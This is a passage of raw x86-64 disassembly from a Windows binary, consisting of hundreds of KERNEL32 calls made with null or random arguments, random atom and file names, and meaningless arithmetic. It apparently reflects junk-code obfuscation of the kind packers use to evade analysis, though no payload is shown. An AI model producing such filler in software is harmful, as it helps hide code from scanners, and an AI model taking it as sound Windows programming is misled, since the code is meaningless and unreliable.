mov qword [rsp + 0xa0c8], rax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xa920], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8868]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
lea rcx, [rsp + 0xa928]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0xa930], rax
movzx eax, word [rsp + 0x9b8]
mov rcx, qword [rsp + 0xa8f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9858]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4434]
add ecx, eax
mov eax, ecx
mov dword [0x14024f2d8], eax
lea rdx, [rsp + 0xa020]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b88], eax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x277], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.Fkv3f5orz9Q8yI6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa938], rax
movzx eax, word [rsp + 0xfb8]
mov word [rsp + 0x12dc], ax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x20], 0
mov r9d, 0x13ba
mov r8d, 0x3c40
mov edx, 0xa9
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4bf4], eax
mov rax, qword [rsp + 0x9b68]
movzx eax, byte [rax]
movzx ecx, byte [0x14024f31a]
sub eax, ecx
mov byte [rsp + 0x274], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
lea rax, [rsp + 0xa54]
mov qword [rsp + 0xa940], rax
lea rcx, str.BV5yzU8argJsK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12e0], ax
lea rcx, str.LN1JNEmYhT.W.nTR4Bv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1294], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0x273]
shl eax, cl
mov rcx, qword [rsp + 0xa1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa738]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
lea rcx, [rsp + 0xa8a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa948], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov dword [rsp + 0x4c50], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x27e]
xor eax, ecx
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0xa060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14024f2b0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1148]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x119c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa950], rax
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x7d30]
mov rcx, qword [rsp + 0x9a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x84c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xa510]
mov rdx, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c54], eax
mov rax, qword [rsp + 0x8848]
mov qword [rsp + 0xa958], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x180f
mov rcx, qword [rsp + 0x99f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ad8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x7a0]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a00]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8650]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0e8]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0xa7f8]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0xa768]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46ec], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa960], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
movsx eax, word [rsp + 0x1110]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb4], ax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0xa850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e4], ax
mov rax, qword [rsp + 0xa450]
movzx eax, byte [rax]
mov byte [rsp + 0x2aa], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
lea r8, [rsp + 0xa110]
mov rdx, qword [rsp + 0xa968]
mov rcx, qword [rsp + 0xa8b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4be0], eax
mov eax, dword [rsp + 0x4290]
mov dword [0x14024f1dc], eax
lea rdx, [rsp + 0x9ee8]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b10], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.IrmGPSXt_rvyC133oyHkrm9m9A4XqZj20sc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa970], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [rsp + 0x20e], al
movzx ecx, word [rsp + 0x1190]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11a4], ax
movzx eax, word [0x14024f268]
movzx ecx, word [rsp + 0x1098]
add eax, ecx
mov word [rsp + 0x10e8], ax
mov eax, dword [rsp + 0x4550]
mov dword [rsp + 0x4c58], eax
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x276], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x650], ax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0xa860]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b24], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa978], rax
movzx ecx, word [rsp + 0x1174]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x97a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.g9Is9Z86j80l.XJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4988]
mov dword [rsp + 0x44f0], eax
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9888]
mov qword [rsp + 0xa980], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4920], eax
lea rcx, str.qikzbxPNma0Q_CzD3DrWR_fiPL1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov word [0x14024f1d8], ax
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x287]
xor eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov byte [rcx], al
lea rax, [0x14024f3a4]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0xa848]
movzx ecx, al
mov rax, qword [rsp + 0x7b18]
shl rax, cl
mov rcx, qword [rsp + 0xa620]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0x8028]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4358], eax
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1024], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xa488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c5c], eax
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x101c], ax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0xf78]
mov qword [rsp + 0xa990], rax
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4c60], eax
movzx eax, byte [rsp + 0x281]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x9f60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1050]
add eax, ecx
mov word [0x14024f3c8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov eax, dword [rsp + 0x490c]
mov dword [rsp + 0x4c64], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0xa250]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx ecx, word [rsp + 0x109c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rcx, [rsp + 0x9968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
mov rax, qword [rsp + 0x9aa0]
mov rcx, qword [rsp + 0x9a18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3a0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
movzx eax, byte [rsp + 0x29c]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0x9a88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x272], al
lea rax, [rsp + 0x4268]
mov qword [rsp + 0xa998], rax
mov r9d, 0x11bd
xor r8d, r8d
lea rdx, [rsp + 0xa1f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c68], eax
movsx eax, word [rsp + 0x984]
movsx ecx, word [0x14024f3bc]
sub eax, ecx
mov word [rsp + 0xdb4], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [rsp + 0x6fc], ax
mov rax, qword [rsp + 0x9630]
mov ecx, dword [0x14022fb78]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14024f310]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49f4], eax
mov rax, qword [rsp + 0x95b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9de8]
mov qword [rsp + 0xa9a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7c38], rax
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b18]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1c8]
mov qword [rcx], rax
mov rax, qword [0x14024f2b0]
movzx eax, word [rax]
mov word [rsp + 0x12f0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.XQUdXneWC2XekI4IE21Mdvs3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa9a8], rax
movzx ecx, word [rsp + 0x11a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e0], ax
movzx eax, byte [rsp + 0x257]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov rcx, qword [rsp + 0xa898]
mov byte [rcx], al
movsx eax, word [rsp + 0xdc8]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12cc], ax
movsx eax, byte [rsp + 0x286]
movsx ecx, byte [rsp + 0x190]
sub eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4988], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
lea rax, [rsp + 0x41e4]
mov qword [rsp + 0xa9b0], rax
lea rcx, [rsp + 0x21420]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4c6c], eax
mov rcx, qword [rsp + 0xa6e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov r9d, 2
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c70], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
lea rax, [0x14022fb88]
mov qword [0x14024f1d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.WgKnC9C_XTDLE_KHQPOQJ2M
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1230], ax
movzx ecx, word [rsp + 0x1070]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x205], al
lea rcx, str.SVkTL_ycyoC97
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12f4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rdx, [rsp + 0x9a58]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0xa628]
movzx eax, word [rax]
mov word [rsp + 0x12f8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa9b8], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b6c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [rsp + 0xa188]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c74], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
mov r9d, 2
lea r8, [rsp + 0xa3f8]
mov rdx, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c78], eax
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4ab0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, str.WXn90OlU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12fc], ax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x8a48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa5c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x41f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4114], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0xa8b0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ac], al
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0x9df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14024f23a], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x9330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e98]
mov qword [rsp + 0xa9c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa5f0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa9c8], rax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, str.ECa_mOChx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1300], ax
mov edx, 0x173
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4700], eax
lea rax, [rsp + 0x4440]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0xa108]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9690]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1304], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
movzx eax, word [rsp + 0x9b8]
mov word [rsp + 0x1308], ax
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [0x14022fb5c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb4]
sar eax, cl
mov word [rsp + 0x107c], ax
lea rcx, str.Z_D5z8_HfMsvzz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x130c], ax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
lea rdx, [rsp + 0xa9d8]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4920], eax
movsx eax, byte [rsp + 0x250]
mov rcx, qword [rsp + 0x9e00]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x287]
imul eax, ecx
mov byte [rsp + 0x276], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx ecx, word [rsp + 0x11e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x121c], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c7c], eax
mov r9d, 0x777
xor r8d, r8d
lea rdx, [rsp + 0x9f90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x4ae4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fbac], eax
lea rcx, [rsp + 0xa9e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xa048]
mov qword [rsp + 0xa9e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9e20], rax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0xfa4]
sub eax, ecx
mov word [rsp + 0x1224], ax
movzx eax, byte [rsp + 0x277]
movzx ecx, byte [rsp + 0x20e]
add eax, ecx
mov byte [rsp + 0x296], al
mov eax, dword [rsp + 0x4ae4]
mov dword [rsp + 0x4c80], eax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0xa738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fe4], eax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xa9f0], rax
movsx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x9748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xef], al
lea rdx, [rsp + 0xa9f8]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4888], eax
mov rcx, qword [rsp + 0x9728]
